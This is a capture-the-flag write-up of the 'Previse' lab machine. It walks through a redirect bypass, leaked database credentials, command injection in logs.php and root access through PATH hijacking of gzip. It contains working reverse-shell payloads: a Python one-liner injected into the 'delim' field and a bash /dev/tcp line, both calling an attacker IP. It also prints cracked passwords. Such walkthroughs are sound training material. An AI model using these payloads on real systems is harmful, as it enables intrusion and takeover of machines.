Overview

This box falls into the “easy” category. Here we’ll learn about insecure log generation, code injection, and environment variables manipulation.


hmm


Recon/Enumeration:

nmap

sudo nmap -sC -sV 10.10.11.104

out:

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 05:18 IST
Nmap scan report for 10.10.11.104
Host is up (0.088s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

port 80/tcp is open for service Apache web server, 10.10.11.104:80 is hosting:

http://10.10.11.104

There isn’t much to do here, only a login form. After trying some very basic sql-injection and failing I moved to see gobuster outputs.

Web Directory Discovery (gobuster)

gobuster dir -u http://10.10.11.104 -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt

out:

-===============================================================-
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
-===============================================================-
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
-===============================================================-
2021/12/05 05:23:21 Starting gobuster in directory enumeration mode
-===============================================================-
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/.html.php            (Status: 403) [Size: 277]
/login.php            (Status: 200) [Size: 2224]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/.htm                 (Status: 403) [Size: 277]
/.htm.php             (Status: 403) [Size: 277]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/header.php           (Status: 200) [Size: 980]
/footer.php           (Status: 200) [Size: 217]
/.                    (Status: 302) [Size: 2801] [--> login.php]
/.htaccess            (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/nav.php              (Status: 200) [Size: 1248]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/status.php           (Status: 302) [Size: 2968] [--> login.php]
/.phtml               (Status: 403) [Size: 277]
/.htc                 (Status: 403) [Size: 277]
/.htc.php             (Status: 403) [Size: 277]
/.html_var_DE         (Status: 403) [Size: 277]
/.html_var_DE.php     (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.html.               (Status: 403) [Size: 277]
/.html..php           (Status: 403) [Size: 277]
/.html.html           (Status: 403) [Size: 277]
/.html.html.php       (Status: 403) [Size: 277]
/.htpasswds           (Status: 403) [Size: 277]
/.htpasswds.php       (Status: 403) [Size: 277]
/.htm..php            (Status: 403) [Size: 277]
/.htm.                (Status: 403) [Size: 277]
/.htmll               (Status: 403) [Size: 277]
/.phps                (Status: 403) [Size: 277]
/.htmll.php           (Status: 403) [Size: 277]
/.html.old            (Status: 403) [Size: 277]
/.html.old.php        (Status: 403) [Size: 277]
/.html.bak            (Status: 403) [Size: 277]
/.ht                  (Status: 403) [Size: 277]
/.html.bak.php        (Status: 403) [Size: 277]
/.ht.php              (Status: 403) [Size: 277]
/.htm.htm             (Status: 403) [Size: 277]
/.htm.htm.php         (Status: 403) [Size: 277]
/.htgroup.php         (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htgroup             (Status: 403) [Size: 277]
/.html1               (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.html1.php           (Status: 403) [Size: 277]
/.html.LCK            (Status: 403) [Size: 277]
/.html.printable      (Status: 403) [Size: 277]
/.html.printable.php  (Status: 403) [Size: 277]
/.html.LCK.php        (Status: 403) [Size: 277]
/.htm.LCK             (Status: 403) [Size: 277]
/.htm.LCK.php         (Status: 403) [Size: 277]
/.htaccess.bak        (Status: 403) [Size: 277]
/.html.php            (Status: 403) [Size: 277]
/.htmls               (Status: 403) [Size: 277]
/.htmls.php           (Status: 403) [Size: 277]
/.html.php.php        (Status: 403) [Size: 277]
/.htaccess.bak.php    (Status: 403) [Size: 277]
/.htx                 (Status: 403) [Size: 277]
/.htx.php             (Status: 403) [Size: 277]
/.htuser              (Status: 403) [Size: 277]
/.htlm                (Status: 403) [Size: 277]
/.html-               (Status: 403) [Size: 277]
/.htm2                (Status: 403) [Size: 277]
/.html-.php           (Status: 403) [Size: 277]
/.htuser.php          (Status: 403) [Size: 277]
/.htlm.php            (Status: 403) [Size: 277]
/.htm2.php            (Status: 403) [Size: 277]
Progress: 71566 / 86008 (83.21%)                                             ^C
[!] Keyboard interrupt detected, terminating.

-===============================================================-
2021/12/05 05:33:45 Finished
-===============================================================-

There are bunch of files which on access are redirecting with HTTP code 302 FOUND to login.php. So let’s filter .php files that are accessible to us.

grep 200 gobuster.pervise.log

NOTE: assume contents of gobuster scan is stored in file with name gobuster.pervise.log

out:

/login.php            (Status: 200) [Size: 2224]
/config.php           (Status: 200) [Size: 0]
/header.php           (Status: 200) [Size: 980]
/footer.php           (Status: 200) [Size: 217]
/nav.php              (Status: 200) [Size: 1248]
  • login.php is simply the login page

  • config.php would’ve been interesting but notice [Size: 0] meaning we don’t get any output on the page.

  • header.php and footer.php are just presentation matter which serves no purpose for us.

  • nav.php is rather interesting.

    These linked entries redirects to login.php but, this page insinuates that page accounts.php can be used to make accounts on the “portal”. So if we can only access this page we can register for an account and that might increase our attack surface.


Exploitation

Now that initial testing is done we have to access accounts.php someway.

Burp

This can be done by intercepting request by burp.s

There are some nuances at work here. if burpsuite intercepts a request that is being redirected to another page or location then it won’t generate a response for the user to see for that redirecting request to the server. Meaning after intercepting request of accounts.php server sends login.php which isn’t very helpful in our case.

Why should we try to intercept response to redirecting requests? because if website isn’t developed properly we can explicitly let ourselves fetch the response even if we are not authorized to do so by changing HTTP status code received with the request.

Request for accounts.php, server sends redirection:

HTTP/1.1 302 Found
Date: Sun, 05 Dec 2021 00:31:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8
 
 
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
    
            
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>
   
<title>Previse Create Account</title>
</head>
<body>
    
<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>
 
<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>
            
<div class="uk-position-bottom-center uk-padding-small">
	<a href="https://m4lwhere.org/" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
</div>
</body>
</html>

This if we try to render looks like:

Which we would’ve got only if we weren’t being redirected. To resolve this we simply change the status code which was 302 FOUND to 200 OK.

Edited response:

HTTP/1.1 200 Found
Date: Sun, 05 Dec 2021 00:31:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8
 
 
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
    
            
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>
   
<title>Previse Create Account</title>
</head>
<body>
    
<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>
 
<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>
            
<div class="uk-position-bottom-center uk-padding-small">
	<a href="https://m4lwhere.org/" target="_blank"><button class="uk-button uk-button-text uk-text-small">Created by m4lwhere</button></a>
</div>
</body>
</html>

And finally just forwarding this will fetch us create account form.


Create user

username: asdfg
password: asdfg

Database Access

After logging in our created account, now we can access files.php.

This file SITEBACKUP.ZIP is downloadable. After extract:

unzip SITEBACKUP.ZIP
.rw-r--r-- 5.7k 12 Jun 16:34 accounts.php
.rw-r--r--  208 12 Jun 16:37 config.php
.rw-r--r-- 1.6k  9 Jun 18:27 download.php
.rw-r--r-- 1.2k 12 Jun 16:40 file_logs.php
.rw-r--r-- 6.1k  9 Jun 18:21 files.php
.rw-r--r--  217  3 Jun 15:30 footer.php
.rw-r--r-- 1.0k  6 Jun 07:26 header.php
.rw-r--r--  551  6 Jun 07:30 index.php
.rw-r--r-- 3.0k 12 Jun 16:36 login.php
.rw-r--r--  190  8 Jun 22:12 logout.php
.rw-r--r-- 1.2k  9 Jun 18:28 logs.php
.rw-r--r-- 1.3k  6 Jun 01:01 nav.php
.rw-r--r-- 9.9k  5 Dec 05:33 siteBackup.zip
.rw-r--r-- 1.9k  9 Jun 18:10 status.php

Let’s see login implementation (login.php):

<?php
session_start();
if (isset($_SESSION['user'])) {
    header('Location: index.php');
}
?>
 
<?php include( 'header.php' ); ?>
<title>Previse Login</title>
</head>
<body>
<div class="uk-container">
    <div class="uk-container uk-position-relative">
        <h1 class="uk-heading-large">Previse File Storage</h1>
        <h2>Login</h2>
        <p>
        <?php
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            $username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
            $password = $_POST['password'];
            if (empty(trim($username))) {
                echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
            } elseif (empty(trim($_POST['password']))) {
                echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
            } else {
                $db = connectDB();
                if ($db === false) {
                    die("ERROR: Could not connect. " . $db->connect_error);
                }
                $sql = "SELECT * FROM accounts WHERE username = '{$username}';";
                $result = $db->query($sql);
                if ($result->num_rows != 1) {
                    echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
                    $result->free();
                    $db->close();
                } else {
                    $users = $result->fetch_assoc();
                    $passHash = $users['password'];
                    if (crypt($password, '$1$đź§‚llol$') == $passHash) {
                        $result->free();
                        $_SESSION['user'] = $users['username'];
                        $result = $db->query($sql);
                        if (!$result) {
                            echo 'Oops! Something went wrong, try again later!';
                        }
                        $db->close();
                        header('Location: index.php');
                    } else {
                        echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
                    }
                }
            }
        }
        ?></p>
        <form action="login.php" method="post">
            <div class="uk-margin uk-width-1-4@s">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin uk-width-1-4@s">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" placeholder="Password" required>
                </div>
            </div>
            <button class="uk-button uk-button-default" type="submit">LOG IN</button>
        </form>
    </div>
</div>
 
<?php include( 'footer.php' ); ?>

Note: DB connection

Searching for passwords in all files.

grep passwd *

out:

config.php:    $passwd = 'mySQL_p@ssw0rd!:)';
config.php:    $mycon = new mysqli($host, $user, $passwd, $db);

file config.php:

<?php
 
function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}
 
?>
UserPassword
rootmySQL_p@ssw0rd!:)

Initial Access (command injection)

File logs.php reads:

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>
 
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}
 
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
 
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
 
$filepath = "/var/www/out.log";
$filename = "out.log";    
 
if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

Consider line :

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

/usr/bin/python means this php script is using python to generate value for variable output and this implementation is vulnerable to command injection as variable delim being passed with method POST is susceptible to tampering(by capturing request).

This log data is generated by page file_logs.php. Let’s capture and modify request to call a shell back with python.

Python oneliner:

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Request:

POST /logs.php HTTP/1.1
Host: 10.10.11.104
Content-Length: 216
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.104
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.104/file_logs.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=mlvvn1r0172n0l7hpciu9q5a74
Connection: close
 
delim=comma;python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Listner:

nc -lvnp 1337

Forward the request and we get a shell, making it usable:

python3 -c 'import pty;pty.spawn("/bin/bash")'

background reverse shell and

stty raw -echo
fg

After all this we will have a shell onto victim machine which won’t terminate with CTRL C. Doing these small things makes life a lot easier.

Gaining user access (hash cracking)

We have mysql root credentials obtained from config.php. Login into database with credentials:

username: root
password: mySQL_p@ssw0rd!:)
mysql -u root -p

after successful login.

mysql> show databases
    -> ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.00 sec)
 
mysql> use previse;
Database changed
mysql> show tables
    -> ;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)
 
mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$đź§‚llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | gus1617  | $1$đź§‚llol$rsfctVxfbMRlcc4j66byN. | 2021-12-04 19:20:41 |
|  3 | test123  | $1$đź§‚llol$p1i6nj5XS9SHgqUu9Cw/0. | 2021-12-05 00:02:35 |
|  4 | asdfg    | $1$đź§‚llol$n3EuPeTN2PYbg2K57TRhn1 | 2021-12-05 00:53:23 |
+----+----------+------------------------------------+---------------------+
4 rows in set (0.00 sec)

user with name m4lwhere is most likely a user on the box because web server footer includes string having mention of name m4lwhere.

Note: password entries are not plaintext passwords but hashed values of passwords.

Hashcat

hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.

echo "\$1\$đź§‚llol\$DQpmdvnb7EeuO6UaqRItf." > hash.txt
hashcat -a 3 hash.txt /usr/share/wordlists/rockyou.txt

NOTE: Cracking this will take some time (like hours) so just grab a coffee or something 🤷

After cracking the hash we’ll have a password with which we can ssh into the box as user m4lwhere.

UserPassword
rootmySQL_p@ssw0rd!:)
m4lwhereilovecody112235!

Privilege Escalation

Now when we have access to user m4lwhere it is good practice to run

sudo -l

which outputs:

m4lwhere@previse:~$ sudo -l
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$

insinuates that user m4lwhere can run this particular script i.e: /opt/scripts/access_backup.sh as root.

file /opt/scripts/access_backup.sh reads:

#!/bin/bash
 
# We always make sure to store logs, we take security SERIOUSLY here
 
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
 
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

So what we need to do is somehow pop shell with this scripts. Note : files mentioned in this file are not accessible from user m4lwhere meaning there isn’t much that we can do to these files mentioned here directly. But, we can make this script call a shell for us. This trick is quite interesting.

Whenever we mention a command in a script bash interpreter doesn’t automatically knows where this executable binary corresponding to that command is kept. This information is defined by the PATH variable in a system. Also we can make system execute our binary instead of the real one by tinkering with PATH variable.

For now let’s create a file containing a reverse shell. bash reverse shell payload:

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

This command on execution sends back a simple sh shell to defined ip and port. Next, we can save this in a file named gzip.

echo "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1" > gzip

make the file gzip executable by:

chmod +x gzip

and edit the path variable so that system access our binary first instead of the real gzip binary.

export PATH=<path-to-gzip-file-containing-revshell>:$PATH

And finally, execute the script access_backup.sh as root.

sudo /opt/scripts/access_backup.sh

Note : Don’t forget to start a netcat listening session on host to capture the reverse shell.

This drops us into a shell with root level permissions.

fin.